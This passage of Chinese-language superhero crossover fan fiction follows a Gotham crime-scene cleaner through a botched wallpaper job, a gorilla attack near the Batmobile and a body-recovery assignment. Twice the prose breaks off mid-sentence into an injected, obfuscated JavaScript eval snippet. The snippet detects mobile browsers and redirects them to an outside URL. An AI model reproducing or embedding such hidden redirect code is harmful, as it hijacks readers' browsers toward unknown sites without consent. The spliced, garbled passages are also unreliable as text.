约翰挂断了电话,尖锐刺耳到似是嘲笑一样的笑声总算是消失了,在突然回归寂静的冷库里,突然传出几声压低了嗓音的抽噎声。 约翰给人解了绑,什么也不说,就这么离开了这家工作室,焚烧炉还在工作,那火焰升腾着,燃烧了一切欲望。 晚风吹过,约翰摩挲了两下手指,向额头探去,以此来确定自己的身体状况, 他还是很健康的。 约翰坐进车里,手抚上方向盘的那一刻突然想起来他匆忙逃离清洁现场的事,有个人的脚步声很特别,那是身上带着不止一把枪的人且擅长用枪的人才会有的走姿,而他最近遇到的人里,符合特征的就只有一个——BAU的霍奇探员。 另外一人或许是戈登,这样的组合,还是在晚上行动……约翰就只能想到他们是得到了有关“剥皮人”案件的线索才会去到那种地方,甚至有可能,可以为他们提供线索的就是那个挨了枪子儿的倒霉蛋或者是那个找清洁工收尾的凶手。 约翰更愿意相信线人是那个雇主,他恐怕也是杀了人之后才想起来自己约好了和条子见面,一看闯祸了才急着找人摆平,急忙搞了个新账户下单犯罪现场清洁服务,不就是为了掩盖那里曾发生过的事吗? 甚至最好,霍奇和戈登没有接到枪击案的警报,把约翰当成线人直接开门走进去,然后看见约翰在清理犯罪现场,理所当然地把他当成凶手,这种情况也是有可能发生的。 谁让总有人试图把清洁工当成替罪羊呢。 约翰叹气,他开车回去,对那个雇主有点生气,同时也迁怒了那个“剥皮人”,如果不是他来作案,那么从那以后发生的许多破事都不会让他给遇见,他到现在都还不知道昨天晚上潜伏进来杀他的人属于哪波势力。 如果他当时是清醒状态肯定会留个人审问一下的,结果他当时脑子跟浆糊似的,直接不留一个活口,尸体上也没找到有用的信息,唉,直到那些人来第二次之前,他是没有指望了。 看到红灯,约翰在路口停下,旁边的建筑上飞过去一个黑影,约翰这次没有特意去看,想也知道又是哥谭的老朋友了,只要不是冲着他来的,那这些人在夜里做任何事他都不会去关注,他没有英雄崇拜的情节,也没有杀死黑暗骑士的想法,顶多就是自己在夜晚干坏事时希望对方当天早点上床睡觉、不会再出来活动了。 “哈——” 约翰打了个长长的哈欠,他昨天确实没睡多久,他才是今晚应该早点上床睡觉的人。 “明天是不是要开会来着?” 约翰漫不经心地想着,注意到前边有人想碰瓷,他抬头看了一眼,没有路摄。 约翰车速不减,车辆以一种诡异的滑行姿势绕过了那个站在突然闯出来路中间的人,短暂地变道之后又回到了原先的车道上,他理都没理那家伙,直接扬长而去。 23.倒霉 约翰照例在更衣室里换上他那身黄色制服,他今天的工作地点在钻石区,倒是离他住的地方不远。 整理工具箱时,他对着清单再次确认了一遍需要的物品,除了那些常规用物之外,还有一种较为昂贵的墙纸,每平方米1200美元,据说是上个月的新款,供货不足的情况下害得他从后勤那里拿东西时还被反复盘问了几遍。 约翰小心地将墙纸塞进后车座里,确认它没有任何损伤之后才驱车离开。 这次的工作地点是一栋二层的别墅,里面的家具等装修分明是偏现代的,但是墙纸上的花纹却要选这种偏向复古华丽的大马士革花纹,约翰一边拆掉旧的墙纸,一边在心里吐槽这家人的装修品味。 复杂华丽的深色墙纸为背景,家具是简单的黑白灰,而且还是极简主义风尚,即使约翰没有艺术细胞,他也能看出来这实在不是一个好搭配。 拆掉旧的墙纸,约翰开始调速干水泥,他不负责后续的养护,所以使用何种方法修补墙面都是要提前和雇主沟通好的。 状况最惨烈的墙壁就是他眼前这一面了,粗略估计这上面至少有三十个弹孔,分布均匀。如果集中一些,约翰还比较好工作,可它们偏偏又分布得如此均匀…… 从左上角起,六个弹孔呈对分布,每隔二十公分就有一对,然后是中间部分,十个弹孔依次排列,最后是右下角,可以看出开枪的人突然大脑短路了,排列的间隔相差有些大,但是弹孔的数量又弥补了这一点的不足。 整面墙看下来,约翰不觉得这是谋杀现场,他更认为这是某种行为艺术,只是地上躺的一具尸体有些煞风景。 调好水泥,约翰找来扶手架一点、一点开始修补那些弹孔,等待水泥干透的时间里,他将打包好的尸体搬到了车上,然后开始拖地,这是他所有清洁工要做的工作里最常做的、也是最拿手的。 约翰将半干的拖把甩到地上一拖,瓷砖上留下了一串蜿蜒的水迹。 “?” 没道理啊,这种像是地没拖干净而留下的水垢痕迹是怎么回事? 约翰盯着瓷砖研究了一会儿,然后一拍脑袋——他忘记去蜡了! 约翰将拖把放到一边,吭哧吭哧给地板去了蜡,然后才开始拖地,等他忙完这些,墙面也干得差不多了。 最重要的步骤要放到最后完成。 约翰将墙纸包装拆开,他下意识以为墙纸的尺寸不会有错,最起码能保证他这一面墙都能贴好墙纸,再加上他用的也不是很浪费,所以无论如何贴墙纸这一步骤都不应该出错的。 是他想得太简单。 约翰蹲下来,对着那块空出来的地方发愁,这是把墙纸所有的边角料都拿过来用也填不满的空白墙面。 约翰思考了两秒,果断给肖特打电话,对方在他心里有个“墙纸贩子”的称号,他以为这人或许会有剩余的同款式墙纸还没来得及卖出去。 肖特停下手里的活,挥手让新人继续铲带血的泥土,他看了一眼来电显示,心想:约翰?他又怎么了? “怎么?你要来公园和我换一换吗?慢着,什么墙纸?” 肖特听约翰说完那款墙纸的形容,立刻笑出了声:“哈!那款墙纸缺货缺得厉害,谁让你不小心点用的?瞎说什么,我能不知道你吗?” 约翰听着肖特的奚落,正对着那些因他贴墙纸时贴失败而被撕下来的报废品,他想辩解自己确实很省墙纸,只是贴墙纸这种工作确实不是他的强项,所以实验的过程里总会有些“废品”,这应该是可以为人所理解的。 肖特不一样,他显然就不能理解约翰的手是怎么浪费那么多墙纸的,一般来说,雇主购买的材料应该是足够的才对,再不济也有后勤补上。然而约翰和肖特一样要多申请一些墙纸,不是因为他也要吃这个回扣,而是他是个“墙纸浪费大户”。 约翰从肖特那里没得到墙纸,但他想得个主意:“那你有什么别的办法吗?” 肖特隔着口罩摸自己的下巴,在新人催自己时喊了“稍等”,他想了又想,想到一个他刚工作时用到的土办法。 “你会画画吗,约翰?” 约翰摇头,意识到对方看不到才说:“当然不会了,而且画画也不能模拟墙纸的特殊触感吧?”不然他早就上打印纸。 “一般的绘画当然不行,但是有那种造假技艺高超的人,绝对可以以假乱真!你要是不会,你可以问问你认识的人,我可不信你这家伙一点人脉都没有。” 造假? 被肖特这么一提,约翰还真就想到了一个人—— “是有这么一个人,好像是叫尼尔……” “还真有!那赶紧把人叫过去帮个忙,时薪你看着办。”肖特理所当然地以为约翰这个朋友在哥谭,他已经完全忘记了约翰不是本地人这件事。 约翰可没忘,“这件事我恐怕做不到,他在坐牢,已经有两年了。” “那就劫狱。”肖特这么说是在开玩笑,但是谁料约翰竟然真的有在思考。 “唔,好像也不行,远水解不了近渴,他现在在纽约坐牢。” 肖特:“?” 他将手机拿开了一点,对着另一头的约翰大声抱怨:“那你还说起他做什么!” 约翰撇嘴:“不是你让我说的吗?我只认识这一个‘造假大师’。”说到底,他上一份工作也不是搞诈骗的,能认识一个造假大师也算不错了,虽然这位大师即使搞诈骗也不会用枪杀人,是个有底线的骗子,但认识他一个总比一个都不认识的要好。 肖特挂断了电话。 约翰叹气,这时候,他只能选择最笨的办法了——噔、噔、噔!打印机! 屋主书房就有,他撬开了锁,打印好墙纸将数据删除,把锁修好,然后用尽了剩下的边角料,才用浆糊贴上了打印后的墙纸。 嗯……怎么说呢,打印的墙纸果然比不上正版,差别还是有的,只是再搬来东西遮掩会变得更明显,所以果然还是这么大咧咧地袒露出来吧,反正是在墙底的位置。 约翰再次说服了自己,他快速收拾好工具箱,急匆匆赶回公司,都说心虚的人必倒霉,他还没回到公司,就被堵在了高架桥上。 与他一样倒霉的,还有蝙蝠侠,他那炫酷的蝙蝠车也被堵在了这里。 约翰看着自己车旁边停着一辆蝙蝠车,莫名有种土包子进城的既视感,相信其他车主也是这么想的,蝙蝠车前后一米的距离里没有一辆汽车,堪称真空地带。 明明是这种堵得要死的路段…… 约翰打开收音机听路况,前方似乎是一辆货车侧翻了,正好横亘在路中间,距离完全清理出道路还要不少时间。 约翰扶着下巴,悄悄瞥了一眼蝙蝠车,他以为这种时候,蝙蝠车会无视他们这些凡人,飞到天上去离开这座高架桥,或者开个防护罩、隐身功能什么的,至少让自己别这么突兀地暴露在大众视线里才对。 “不是说蝙蝠侠是都市传说一样的存在吗?怎么大家都对这辆车见怪不怪的样子?” 约翰趴在方向盘上,他身上穿着一件夹克和背心,还有一条黑色牛仔裤,这是他在工作的地方更换的,还好他提前更换了,不然就要穿着那一身丑丑的黄色制服混在这一堆车主里了。 “砰!” 十米开外,一阵尘烟升起,与此同时,震动感与暴力破坏的声音一起传来,约翰解开了安全带,跟其他人一样下了车凑热闹。 哥谭人的精神状态一直都很稳定,就比如现在,在意识到不远处有个人猿泰山一样的怪物扛着路灯朝这边横扫过来时,他们省下了尖叫的力气,只是一昧地扭头就跑、埋头苦奔。 约翰犹豫了,他不知道自己应不应该顺从大众一起跑,因为他毕竟是刚工作完回来,车里还有—— “!” 那个黑毛大猩猩很快就跑到了约翰跟前,并且扔下了破破烂烂的路灯,一拳砸向了约翰所在的空地。 约翰轻松躲开,惹怒了这位看起来像是由人变异过去的大猩猩,他发狂,他吼叫,他捶胸,他要砸约翰的车泄愤—— 额滴车子! 约翰无助地伸手,绝望地想:那里面还有一具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“咔。” 一个不知名零件从车上弹了出来,一路滚到约翰脚边。 或许这就是他拿打印纸糊弄人家的报应。 真的闯祸了。 蝙蝠侠·夜翼假装版看着车顶上不省人事的大猩猩,苦恼该怎么把这家伙运走,而且关键是,这样破坏力强的猩猩,是变种人还是什么,他应该被关在哪里? 两人各自纠结之时,前来支援超级小子背着罗宾飞了过来,罗宾一落地就想先就夜翼的失误发表一下个人意见。 “咳、咳、咳!” 夜翼连忙咳嗽透露这里还有一般人在,虽说这个“一般人”其实没那么一般。 罗宾插着腰绕到车的另一边,看到了蹲在地上狂打电话的约翰。 “你怎么——” 约翰抬起头,肉眼可见地失去了颜色。突然,他对罗宾产生了熟悉感,从身高来看,这位是不是那个小儿子?连发型都一样啊! “你不是……” 约翰张了张嘴,没把名字说出来,他已经闯祸了,再得罪人,被开出天价赔偿单就糟糕了,因为不管怎么看,蝙蝠车都不像是有保险的车啊! “是抬这个吗?” 宛如天籁的声音响起,约翰的视线绕过罗宾,看向了飞在半空中、肩上扛着大猩猩的超级小子,在他看来,这个人配色十分像超人,只是个头小了点——那就叫“迷你超人”吧。 这位“迷你超人”轻松抬起了猩猩,然后飞到了约翰不知道的地方,接着又飞了回来,打算拯救蝙蝠车和他的两位同伴。 约翰不知道超级小子透视眼的功能,但是艾米莉亚知道,不,知道超人这类英雄的老板都知道,于是公司的车在后备箱装铅板是一件再普遍不过的事了。 夜翼版蝙蝠侠从其他人那里得知约翰有些不可告人的秘密,因此装作不知道约翰刚才做的事,想也知道,这个人肯定不会老实回答他们的问题。 他对着超级小子比了个手势,然后带着罗宾坐进了车里,由超级小子把他们连人带车一起扛走,同时,他也将刚才的录像传回了蝙蝠洞。 约翰对此一无所知,他还以为自己逃过一劫,开心地朝他们挥了挥手以作告别。 24.神秘委托 约翰坐在车里等道路清出来,车辆之间是穿梭而来的车主们,他们是得知这里安全了才折返回来找自己的车的。 这时候对他们来说,找自己的车就像是开盲盒,如果汽车没事那就是万幸,如果汽车变成破铜烂铁了,那就是不幸,要是汽车还没买保险,那就是不幸中的不幸。 三个小时后,高架桥上终于清出了一条可供车辆通行的车道,约翰跟着其他车辆,缓慢离开了这个困了他好几个小时的地方。 约翰送完了尸体,终于可以下班回家,然而在昨天同样的路口,他再次遇到了那个碰瓷的家伙,从穿着打扮来看,这人不像是有什么困难之处的样子,或许,他只是想不开呢? 约翰这么想着,猛打了一下方向盘,和昨天一样避开了那个人,从后视镜看过去,那个人似乎有些低落,约翰不想知道他要做什么,只知道对方要做的事别扯到他就行,他现在可经不起调查,那些FBI的探员们还没离开呢。 约翰把车开进车库,找到手套箱里的宣传单给披萨店打了电话,要了一份夏威夷披萨,虽然店主叽里咕噜的不知道说的是哪国的方言,但神奇的是他竟然能理解对方话里的意思,而对方也能听懂他的要求,真是神奇。 在等披萨的期间,约翰走进浴室想洗个澡,拉来浴帘就看到了那个曾经泡过尸体的浴缸。 “坏了,把这件事给忘了。” 如果明天不加班,他要赶在家具店关门前买个浴缸回来。 约翰掰过花洒头,站姿难受地洗了个澡,他一边搓头发,一边想自己是不是还忘了什么事,忘了什么事呢? 他一直在想那件被他遗忘的事,可是他越深究越想不起来,一直到他吃完了披萨,洗漱完要睡觉时也没想起来。 半夜里,约翰被梦惊醒,他做梦梦到自己错过了一个很重要的会议,然后他就被分配了一项艰巨的任务,是那种无论他和别人打多少次UNO,别人也不愿意与他更换的任务。 哦,这里解释一下,除了内华达州的分公司以外,其他分公司乃至总部,都是禁止员工赌博的,只有一种“赌博”是被允许的,就是员工之间打UNO牌,赢的人可以和别人更换任务。 公司给他们这些清洁工分配任务时,大都采用随机分配制度,除非一些需要特殊清洁技能的任务。而在这样的制度下,员工会拿到自己不喜欢的清洁工作也是在所难免,就比如杀手鳄的委托,他的委托大都在下水道里,哥谭的下水道系统错综复杂,曾有清洁工在里面迷路了三天三夜才爬出来,所以他的任务很不受待见。 顺便一提,之前和约翰合作过的肖特是个典型的“倒霉蛋”,他做过最多的清洁工作就是在下水道、罗宾逊公园等地方,和约翰一起工作的日子反而是他的好日子。 约翰是很幸运,但是他的幸运源于“新手保护期”,而这个“保护期”马上就要到期了。 约翰躺回床上,临睡觉前终于想起来,他送尸体时因为遇到了堵车和大猩猩,确实没有按时到公司参加那个什么……什么会议来着? 怀揣着被艾米莉亚穿小鞋的忐忑,约翰眼睛一闭,睡了过去。 上班时,如他所料,他见到了艾米莉亚的那个助理辛迪,她直接到员工更衣室来找约翰,抽走了约翰手里显示任务界面的平板,给他递了个新的。 “老板给了你一个充满挑战的任务。” “我拒绝。” 约翰十分硬气地拒绝接过辛迪手里的新平板。 辛迪显然是知道约翰会这么说,她补充道:“这是昨天大家开会时的一致投票,‘谁没有参加会议就投谁的票’,这是很合理的理由。” “我、我没来是有原因的,昨天的新闻你看了吗?高架桥堵车,我也没办法。”约翰隐去了蝙蝠侠出镜过的信息,鬼知道艾米莉亚得知了他昨天做过的事,会不会让他再跑一趟韦恩庄园当女仆。 辛迪不吃这一套,她给出了其他人的例子:“我们支持线上会议。早你两年进来的乔治,因为肾结石住院了,即使麻药的药效还没过也打开了视频会议。” 约翰咬着嘴唇,这一刻,他痛恨资本家的心情达到了顶峰。 “而且也不是一点好处都没有,做完这一个任务,可以休息几天。” 约翰松开了牙齿,他的心情平复了:“我明白了。” 他接过那个新的平板,目送辛迪离开,中途她经过浴室的门,从里面走出来的员工没穿衣服,看见有女人在这里立刻捂住了下半身,岂料辛迪一个眼神都没给他,直接目不斜视地离开了。看着辛迪面不改色的模样,他感觉自己的尊严受到了莫大的侮辱,对着辛迪的背影啐口痰、骂了几声,扭头看见约翰也在瞧他,他想起约翰的身材,更自卑了,转身回到了浴室里。 约翰这才看向艾米莉亚给他委派的任务说明—— “尸体在上东城,限时48h,但是要在其他人发现之前回收……” 约翰继续往下翻,任务酬金那里是一个数字后面跟着许多个零,而且除了回收尸体这一项要求之外,并没有要他清理犯罪现场的意思,这么看来,与其说是清洁工的工作,不如说是搬运工的工作。只是这种搬运工容易出错,谁让雇主没说尸体的样貌特征,也没有联系方式。 这种工作约翰倒是知道一些,一般是雇主被警方等执法人员给盯上了不方便行动,才会找人到某个地点去找东西,东西可以是武器、证据,甚至是尸体。也有的雇主只是为了转移视线,便派人到警方盯得紧的地方装作可疑的样子转悠几天,不过干得不好是真的会被抓进去就是了。 但是这种不指名具体地址就让他去收尸的工作不太像这二者之一啊,莫非,这是个圈套? 排除犯人得了失忆症忘记把尸体丢在哪里的情况,只有一种可能——发布委托的人不是凶手,很大概率是执法机关的人,小概率是被害人的亲属朋友,走投无路了才托门路发布的委托试图碰碰运气。 约翰思考着,鉴于最近哥谭的头版头条都是戈登局长和BAU的探员们联手追查“剥皮人”的,难保这不是一个陷阱,一个针对……不对,他们是怎么想到找清洁工下委托的? 约翰发现这中间的逻辑说不通,终于放弃了阴谋论,老老实实去上班了。 他买通几个线人在上东城里打听空房、短期租房的信息,又派他们在公共卫生间里转一转,针对这项任务,他分别找的是男性和女性,假借调查之名找一些可疑的存在,比如血迹、尸体什么的。 哥谭的怪人多约翰一个不多,少约翰一个约翰不少,他的委托没有换来一句“为什么”,毕竟他确实给钱了。 约翰在上东城找了家咖啡店坐着,等其他人过来给他报个信,等到下午两点,约翰又看完了一本杂志,他看向女服务员,对方一脸无奈,又给他拿了一本。 女服务员还在心里感叹约翰坐了这么久,连喝了三杯咖啡,竟然没有一丁点要上洗手间的迹象,他的膀胱真是强大。 约翰接过新一本杂志,继续打发时间,反正他也不是很想完成那个委托,谁让艾米莉亚只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264086|179854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了任务完成时的奖励而没有说惩罚呢?对他来说,比如凭白惹一身腥,还是摆烂一点,安安静静地在这里打两天卡比较好,到时候时间一到,雇主倒霉,他也没什么损失。 换做是以前,约翰可不会在杀手任务里放雇主鸽子,可现在不一样了,现在的他不会对此有一丝一毫的心理负担,死人果然还是没有活人那么可怕。 这个时间点咖啡店里没什么人,女服务员也有时间给一直放着广告的电视换了个台,可惜这个时间段里也没有什么免费的好看频道,除了每日新闻。 新闻的主持人是个有着一口亮瞎眼白牙的帅气男子,约翰看了两眼新闻内容,刚好看到那个主持人说起最近的市议会的内容,以及市长对阿卡姆精神病院的态度问题。 “布鲁姆市长此前在发布会声称:他表明自己应该对上个月的阿卡姆精神病院病人逃逸事件负一定责任,我们可以得知他对自己的行为十分后悔,他坚定地认为事故发生之后他应该做些什么,但是他已经无能为力。” “是的。”他旁边的女主持人应了一句,接着话锋突转,说:“民众或许以为布鲁姆市长的反省十分深刻,然而事实是早在阿卡姆精神病院病人逃逸事故发生前三天,有人向市长办公室投递了匿名举报信,信件内容目前未通过官方披露。 但我们有可靠消息表明信件里非常详细地叙述了‘三天后在阿卡姆精神病院即将发生严重事故’的讯息,而我们的布鲁姆市长显然没有理会,他选择了不采取任何行动,任由事故发生之后,哥谭交通、店铺等受到多处损害,累计损失超过上千万美元……” “他现在做什么都太晚了。” “不错。” 两人一唱一和,就这么将市长的错失贬低了个彻底,他们是站在哪一派的不重要,重要的是那起事故的后续处理问题。 “一个月前?” 约翰想破了脑袋也没想起来那事件是怎么发生的,难道是他不常关注新闻的缘故吗?这么大的事故他都没得到一点消息? 如果吉姆和莉莉他们在场,一定会说约翰这不是不关注新闻,而是失忆了,或者得了痴呆症,他明明就生活在大城市里,却几乎与社会脱节了。就说这个市长吧,他完全没印象,在哥谭待了几个月了,他还以为哥谭没有市长呢。 不过这就不怪他约翰不知情了,哥谭的市长名为海登·G·布鲁姆,是个大透明人,有传言他甚至参加过新任市长选拔动员会——在他还在任的时候。 约翰向服务员伸手,想点第四杯咖啡,这时,门上的风铃响起,他先前花钱雇的一个跑腿的回来了,这人坐下就要了一大杯柠檬水狂喝,然后凑近约翰,压低了声音说:“在第七街道,安格拉公寓1301号房,空房间,但是有股臭味……” “我以前闻过,那是……尸体腐烂的气味……” 约翰抬眼看向这个跑腿的,双手合上杂志,在他看来,出租的房间墙壁里埋着尸体的是很正常的一件事,可能那是前租户留下来的“小礼物”。 不过他坐在这里坐了几个小时,屁股都快坐麻了,如今听到有动静只想着出去活动活动,也不在乎是不是白跑一趟这种事了,而且从刚才开始,就有一股讨厌的视线在他的身上看来看去,太麻烦了。 约翰按照地址到那里去查看情况,他拿着管理员给的钥匙,刚想打开门,却发现这门没有上锁。 他推开门,握紧了手里的钥匙。 屋内,一个戴着红色头罩的健壮男人正背对着他,站在灯泡底下。